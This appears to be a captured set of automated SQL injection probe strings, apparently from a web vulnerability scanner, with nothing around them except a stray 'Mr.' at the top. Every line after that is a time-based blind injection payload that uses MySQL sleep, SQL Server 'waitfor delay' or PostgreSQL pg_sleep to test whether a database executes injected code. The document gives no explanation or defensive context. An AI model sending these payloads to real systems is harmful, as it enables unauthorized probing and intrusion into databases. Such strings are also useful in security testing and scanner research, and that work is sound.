Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

OCnQYdNU'); waitfor delay '0:0:15' --

-1; waitfor delay '0:0:15' --

nFaydDwB')); waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

cRyaYYZS' OR 79=(SELECT 79 FROM PG_SLEEP(15))--

-1)); waitfor delay '0:0:15' --

AXCOuJbR') OR 553=(SELECT 553 FROM PG_SLEEP(15))--

1 waitfor delay '0:0:15' --

tropodzT')) OR 228=(SELECT 228 FROM PG_SLEEP(15))--